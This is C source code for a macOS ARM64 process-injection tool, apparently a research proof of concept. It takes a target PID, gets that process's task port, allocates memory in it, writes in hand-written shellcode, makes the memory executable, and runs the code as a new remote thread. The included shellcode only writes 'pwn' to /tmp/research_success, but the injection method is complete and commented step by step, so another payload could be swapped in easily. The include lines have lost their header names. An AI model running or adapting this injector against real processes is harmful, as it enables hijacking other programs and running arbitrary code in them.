#include #include #include // Core Mach kernel interfaces #include // Virtual memory management #include // ARM64 thread state definitions #include #include /* * This is our shellcode that will run in the target process. * The __attribute__((naked)) tells the compiler not to add any function prologue/epilogue * code - we want complete control over the assembly. * * What this shellcode does: * 1. Creates a file at /tmp/research_success * 2. Writes "pwn" to it * 3. Exits cleanly */ __attribute__((naked)) void shellcode() { __asm__( // Set up our stack frame - allocate 32 bytes "sub sp, sp, #0x20\n" // Open a file // The adr instruction loads the address of our filename relative to the current position "adr x0, 1f\n" // Load filename into x0 (first argument) "mov x1, #0x601\n" // Flags: O_CREAT|O_WRONLY|O_TRUNC "mov x2, #0666\n" // File permissions: rw-rw-rw- "mov x16, #5\n" // System call number for open() "svc #0x80\n" // Make the system call // Write to the file "mov x19, x0\n" // Save file descriptor for later "adr x1, 2f\n" // Load address of content to write "mov x2, #4\n" // Length of content (including newline) "mov x16, #4\n" // System call number for write() "svc #0x80\n" // Exit cleanly "mov x0, #0\n" // Exit code 0 "mov x16, #1\n" // System call number for exit() "svc #0x80\n" // Data section ".align 4\n" // Align data to 4-byte boundary "1: .asciz \"/tmp/research_success\"\n" // Null-terminated filename "2: .asciz \"pwn\\n\"\n" // Content to write ); } /* * Validates that we have a working task port * A task port is like a "handle" to another process in macOS, * giving us permission to interact with it */ static boolean_t verify_task_port(mach_port_t task) { task_flavor_t flavor = TASK_BASIC_INFO; task_basic_info_data_t info; mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT; // Try to get basic info about the task - if this succeeds, // we know we have a valid task port kern_return_t kr = task_info(task, flavor, (task_info_t)&info, &count); return (kr == KERN_SUCCESS); } /* * This function handles the memory operations needed to inject our code * into the target process. It: * 1. Allocates memory in the target process * 2. Copies our shellcode into that memory * 3. Sets the memory permissions so the code can execute */ kern_return_t map_memory(mach_port_t task, mach_vm_address_t *addr, void *data, size_t size) { kern_return_t kr; // First, make sure our task port is valid if (!verify_task_port(task)) { printf("Invalid task port provided\n"); return KERN_INVALID_TASK; } // Memory pages must be page-aligned in macOS // This rounds up our allocation size to the next page boundary vm_size_t page_size = vm_page_size; size_t aligned_size = (size + page_size - 1) & ~(page_size - 1); // Allocate memory in the target process // VM_FLAGS_ANYWHERE lets the kernel choose a suitable address kr = mach_vm_allocate(task, addr, aligned_size, VM_FLAGS_ANYWHERE); if (kr != KERN_SUCCESS) { printf("Memory allocation failed: %d (0x%x)\n", kr, kr); printf("Attempted to allocate %zu bytes\n", aligned_size); return kr; } // Copy our shellcode into the allocated memory kr = mach_vm_write(task, *addr, (vm_offset_t)data, size); if (kr != KERN_SUCCESS) { printf("Memory write failed: %d (0x%x)\n", kr, kr); mach_vm_deallocate(task, *addr, aligned_size); return kr; } // Set the memory permissions to allow execution // We need both read and execute permissions for the code to run kr = mach_vm_protect(task, *addr, aligned_size, FALSE, VM_PROT_READ | VM_PROT_EXECUTE); if (kr != KERN_SUCCESS) { printf("Memory protection change failed: %d (0x%x)\n", kr, kr); mach_vm_deallocate(task, *addr, aligned_size); return kr; } return KERN_SUCCESS; } /* * This is the main injection function that orchestrates the whole process: * 1. Verifies we can work with the target process * 2. Maps our shellcode into it * 3. Creates a new thread to run our code */ kern_return_t inject_code(mach_port_t task) { kern_return_t kr; void *shellcode_ptr = (void*)shellcode; size_t shellcode_size = 256; // Space for our shellcode and any data it needs mach_vm_address_t remote_code = 0; // Verify we can work with this task task_basic_info_data_t info; mach_msg_type_number_t count = TASK_BASIC_INFO_COUNT; kr = task_info(task, TASK_BASIC_INFO, (task_info_t)&info, &count); if (kr != KERN_SUCCESS) { printf("Failed to get task info: %d (0x%x)\n", kr, kr); return kr; } // Copy our shellcode into the target process kr = map_memory(task, &remote_code, shellcode_ptr, shellcode_size); if (kr != KERN_SUCCESS) { return kr; } // Set up the initial register state for our new thread arm_thread_state64_t thread_state = {0}; thread_state.__pc = remote_code; // Program counter - where to start executing thread_state.__sp = (remote_code + 0x1000) & ~0xFULL; // Stack pointer - aligned to 16 bytes thread_state.__x[29] = thread_state.__sp; // Frame pointer // Create and start a new thread in the target process thread_act_t new_thread; kr = thread_create_running(task, ARM_THREAD_STATE64, (thread_state_t)&thread_state, ARM_THREAD_STATE64_COUNT, &new_thread); if (kr != KERN_SUCCESS) { printf("Thread creation failed: %d (0x%x)\n", kr, kr); mach_vm_deallocate(task, remote_code, shellcode_size); return kr; } return KERN_SUCCESS; } /* * Main entry point - takes a process ID as argument * This is where we: * 1. Get access to the target process * 2. Inject and run our code in it * 3. Report success or failure */ int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s \n", argv[0]); return 1; } pid_t target_pid = atoi(argv[1]); // Get a task port for the target process // This is our "handle" to interact with it mach_port_t task; kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task); if (kr != KERN_SUCCESS) { printf("Failed to get task for pid %d: %d (0x%x)\n", target_pid, kr, kr); return 1; } printf("Successfully got task port: %d\n", task); // Do the injection kr = inject_code(task); if (kr != KERN_SUCCESS) { printf("Injection failed with error: %d (0x%x)\n", kr, kr); return 1; } printf("Injection successful\n"); printf("Check /tmp/research_success to verify execution\n"); return 0; }